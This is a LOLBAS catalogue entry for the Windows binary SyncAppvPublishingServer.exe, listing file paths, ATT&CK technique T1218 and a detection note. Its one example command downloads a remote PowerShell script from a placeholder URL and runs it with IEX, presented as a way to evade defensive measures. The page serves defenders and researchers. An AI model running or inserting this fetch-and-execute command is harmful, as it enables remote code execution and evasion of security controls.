LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

SyncAppvPublishingServer.exe

View source

Used by App-v to get App-v server lists

Execute
01COMMAND EXAMPLES
01ATT&CK TECHNIQUES
03DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

1 examples

Execute1

EXAMPLE 01T1218

Example command on how inject Powershell code into the process

COMMAND
SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('{REMOTEURL:.ps1}') | IEX"
USE CASE
Use SyncAppvPublishingServer as a Powershell host to execute Powershell code. Evade defensive counter measures
PRIVILEGES
User
OPERATING SYSTEM
Windows 10 1709, Windows 10 1703, Windows 10 1607
Execute · PowerShell
02 / ON DISK

Known paths

C:\Windows\System32\SyncAppvPublishingServer.exe
C:\Windows\SysWOW64\SyncAppvPublishingServer.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

3 resources

Indicators & detection notes

  • IOC

    SyncAppvPublishingServer.exe should never be in use unless App-V is deployed

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Nick Landers@monoxgas